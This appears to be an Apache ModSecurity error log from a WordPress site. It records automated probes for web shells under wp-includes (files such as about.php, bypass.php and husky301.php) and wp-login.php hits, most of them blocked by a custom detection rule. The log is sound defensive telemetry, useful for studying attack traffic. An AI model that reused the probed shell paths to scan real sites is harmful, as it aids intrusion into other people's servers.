[Fri Feb 27 04:28:25.038064 2026] [:error] [pid 5365:tid 5371] [client 173.239.214.7:45285] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCs6ZYAa8J3tYxdG3zoqgAAAQQ"]
[Fri Feb 27 04:28:27.612912 2026] [:error] [pid 5365:tid 5367] [client 173.239.214.19:61383] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaCs65YAa8J3tYxdG3zpXAAAAQA"]
[Fri Feb 27 04:28:28.956457 2026] [:error] [pid 4081:tid 4095] [client 173.239.214.16:22719] [client 173.239.214.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaCs7A55mnr35z8h7t3PWwAAAMw"]
[Fri Feb 27 04:28:32.387126 2026] [:error] [pid 4081:tid 4106] [client 173.239.214.16:22719] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaCs8A55mnr35z8h7t3PnAAAANc"]
[Fri Feb 27 04:28:33.383697 2026] [:error] [pid 3973:tid 4006] [client 185.198.240.156:31121] [client 185.198.240.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.156, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaCs8YJZsftwqmUaaLPuHQAAABc"]
[Fri Feb 27 04:28:33.877959 2026] [:error] [pid 3973:tid 3996] [client 185.198.240.156:31121] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaCs8YJZsftwqmUaaLPuIAAAAA0"]
[Fri Feb 27 04:28:36.516776 2026] [:error] [pid 5365:tid 5381] [client 173.239.214.4:33235] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaCs9JYAa8J3tYxdG3zq-QAAAQ4"]
[Fri Feb 27 04:28:39.462080 2026] [:error] [pid 21329:tid 21400] [client 173.239.214.20:58713] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaCs95vQWnde-MjcQ1FDXAAAAVE"]
[Fri Feb 27 04:28:40.618067 2026] [:error] [pid 5365:tid 5386] [client 173.239.214.24:64173] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaCs-JYAa8J3tYxdG3zrhgAAARM"]
[Fri Feb 27 04:28:41.895369 2026] [:error] [pid 21329:tid 21399] [client 173.239.214.4:65305] [client 173.239.214.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.4, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaCs-ZvQWnde-MjcQ1FDogAAAVA"]
[Fri Feb 27 04:28:42.187240 2026] [:error] [pid 21329:tid 21391] [client 173.239.214.4:65305] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaCs-pvQWnde-MjcQ1FDrAAAAUg"]
[Fri Feb 27 04:28:47.203865 2026] [:error] [pid 3974:tid 4045] [client 173.239.214.14:26821] [client 173.239.214.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaCs_3p-fQtdOYjkuFvNWQAAAEg"]
[Fri Feb 27 04:28:48.584119 2026] [:error] [pid 5365:tid 5389] [client 185.198.240.156:53817] [client 185.198.240.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.156, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaCtAJYAa8J3tYxdG3zswgAAARY"]
[Fri Feb 27 04:28:49.750518 2026] [:error] [pid 5365:tid 5375] [client 185.198.240.156:53817] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaCtAZYAa8J3tYxdG3zs_QAAAQg"]
[Fri Feb 27 04:28:50.655357 2026] [:error] [pid 3975:tid 4011] [client 173.239.214.4:53043] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaCtAhMVp0-T2hD76b2wmgAAAIE"]
[Fri Feb 27 04:28:51.730900 2026] [:error] [pid 3975:tid 4013] [client 185.198.240.141:25519] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaCtAxMVp0-T2hD76b2wrwAAAIM"]
[Fri Feb 27 04:28:53.724723 2026] [:error] [pid 3973:tid 4005] [client 185.198.240.142:28541] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaCtBYJZsftwqmUaaLPuxwAAABY"]
[Fri Feb 27 04:28:54.225945 2026] [:error] [pid 3973:tid 3984] [client 173.239.214.28:60643] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaCtBoJZsftwqmUaaLPuzgAAAAE"]
[Fri Feb 27 04:28:56.021399 2026] [:error] [pid 4081:tid 4107] [client 173.239.214.17:21603] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaCtCA55mnr35z8h7t3QxwAAANg"]
[Fri Feb 27 04:28:56.742728 2026] [:error] [pid 3973:tid 4005] [client 173.239.214.28:37029] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaCtCIJZsftwqmUaaLPu_wAAABY"]
[Fri Feb 27 04:28:58.038701 2026] [:error] [pid 3974:tid 4060] [client 185.198.240.137:45293] [client 185.198.240.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaCtCnp-fQtdOYjkuFvN9QAAAFc"]
[Fri Feb 27 04:28:59.233936 2026] [:error] [pid 21329:tid 21386] [client 45.131.195.210:47719] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaCtC5vQWnde-MjcQ1FFCAAAAUM"]
[Fri Feb 27 04:29:00.196512 2026] [:error] [pid 3974:tid 4033] [client 173.239.214.12:23387] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaCtDHp-fQtdOYjkuFvOHwAAAEA"]
[Fri Feb 27 04:29:06.931080 2026] [:error] [pid 4081:tid 4105] [client 185.198.240.141:56853] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaCtEg55mnr35z8h7t3RfgAAANY"]
[Fri Feb 27 04:29:09.146498 2026] [:error] [pid 5365:tid 5391] [client 173.239.214.4:31407] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaCtFZYAa8J3tYxdG3zwlwAAARg"]
[Fri Feb 27 04:29:09.713177 2026] [:error] [pid 5365:tid 5383] [client 185.198.240.140:48411] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaCtFZYAa8J3tYxdG3zwtgAAARA"]
[Fri Feb 27 04:29:11.254185 2026] [:error] [pid 5365:tid 5373] [client 173.239.214.198:40609] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaCtF5YAa8J3tYxdG3zxAQAAAQY"]
[Fri Feb 27 04:29:11.733886 2026] [:error] [pid 5365:tid 5387] [client 173.239.214.6:34693] [client 173.239.214.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaCtF5YAa8J3tYxdG3zxHQAAARQ"]
[Fri Feb 27 04:29:13.075618 2026] [:error] [pid 5365:tid 5367] [client 185.198.240.153:21527] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaCtGZYAa8J3tYxdG3zxbQAAAQA"]
[Fri Feb 27 04:29:13.580125 2026] [:error] [pid 21329:tid 21400] [client 173.239.214.7:53503] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaCtGZvQWnde-MjcQ1FGYgAAAVE"]
[Fri Feb 27 04:29:14.600529 2026] [:error] [pid 5365:tid 5391] [client 185.198.240.138:58153] [client 185.198.240.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaCtGpYAa8J3tYxdG3zxyQAAARg"]
[Fri Feb 27 04:29:15.136039 2026] [:error] [pid 21329:tid 21404] [client 173.239.214.9:60025] [client 173.239.214.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaCtG5vQWnde-MjcQ1FGmgAAAVU"]
[Fri Feb 27 04:29:15.707679 2026] [:error] [pid 3975:tid 4025] [client 173.239.214.2:23125] [client 173.239.214.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaCtGxMVp0-T2hD76b2yoAAAAI8"]
[Fri Feb 27 04:29:16.198744 2026] [:error] [pid 5365:tid 5390] [client 185.198.240.138:42275] [client 185.198.240.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaCtHJYAa8J3tYxdG3zyEgAAARc"]
[Fri Feb 27 04:29:16.978174 2026] [:error] [pid 3975:tid 4023] [client 185.198.240.150:45089] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaCtHBMVp0-T2hD76b2yuAAAAI0"]
[Fri Feb 27 04:29:17.927541 2026] [:error] [pid 3973:tid 3992] [client 173.239.214.7:42075] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaCtHYJZsftwqmUaaLPwJAAAAAk"]
[Fri Feb 27 04:29:19.530643 2026] [:error] [pid 3975:tid 4031] [client 185.198.240.150:63889] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaCtHxMVp0-T2hD76b2y7AAAAJQ"]
[Fri Feb 27 04:29:22.503466 2026] [:error] [pid 4081:tid 4106] [client 173.239.214.18:42043] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaCtIg55mnr35z8h7t3S0AAAANc"]
[Fri Feb 27 04:29:23.890043 2026] [:error] [pid 5365:tid 5374] [client 173.239.214.18:22473] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaCtI5YAa8J3tYxdG3zzYAAAAQc"]
[Fri Feb 27 04:29:24.485860 2026] [:error] [pid 3975:tid 4019] [client 173.239.214.15:47697] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaCtJBMVp0-T2hD76b2zHgAAAIk"]
[Fri Feb 27 04:29:26.028977 2026] [:error] [pid 4081:tid 4088] [client 173.239.214.22:65339] [client 173.239.214.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaCtJg55mnr35z8h7t3TBQAAAMU"]
[Fri Feb 27 04:29:27.304529 2026] [proxy_fcgi:error] [pid 3974:tid 4056] [client 209.87.169.176:24243] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:27.591468 2026] [proxy_fcgi:error] [pid 3974:tid 4052] [client 209.87.169.176:24243] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:27.904599 2026] [proxy_fcgi:error] [pid 3974:tid 4043] [client 209.87.169.176:24243] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:29.376261 2026] [:error] [pid 3974:tid 4047] [client 209.87.169.176:24243] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaCtKXp-fQtdOYjkuFvQLQAAAEo"]
[Fri Feb 27 04:29:29.940710 2026] [:error] [pid 3975:tid 4017] [client 173.239.214.8:35957] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaCtKRMVp0-T2hD76b2zTgAAAIc"]
[Fri Feb 27 04:29:30.396821 2026] [:error] [pid 3973:tid 3990] [client 173.239.214.19:62567] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaCtKoJZsftwqmUaaLPwngAAAAc"]
[Fri Feb 27 04:29:31.089301 2026] [:error] [pid 5365:tid 5383] [client 185.198.240.155:23345] [client 185.198.240.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaCtK5YAa8J3tYxdG3z0qQAAARA"]
[Fri Feb 27 04:29:31.662527 2026] [:error] [pid 3975:tid 4024] [client 173.239.214.8:37497] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaCtKxMVp0-T2hD76b2zbAAAAI4"]
[Fri Feb 27 04:29:32.201328 2026] [:error] [pid 3975:tid 4010] [client 173.239.214.8:54701] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaCtLBMVp0-T2hD76b2zgQAAAIA"]
[Fri Feb 27 04:29:33.009930 2026] [:error] [pid 3975:tid 4019] [client 185.198.240.137:35937] [client 185.198.240.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaCtLRMVp0-T2hD76b2ztAAAAIk"]
[Fri Feb 27 04:29:33.483709 2026] [:error] [pid 3974:tid 4033] [client 173.239.214.26:38855] [client 173.239.214.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaCtLXp-fQtdOYjkuFvQnwAAAEA"]
[Fri Feb 27 04:29:34.070165 2026] [:error] [pid 3973:tid 3990] [client 173.239.214.21:55883] [client 173.239.214.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaCtLoJZsftwqmUaaLPwuQAAAAc"]
[Fri Feb 27 04:29:36.084956 2026] [:error] [pid 3975:tid 4019] [client 173.239.214.198:44803] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaCtMBMVp0-T2hD76b2z9QAAAIk"]
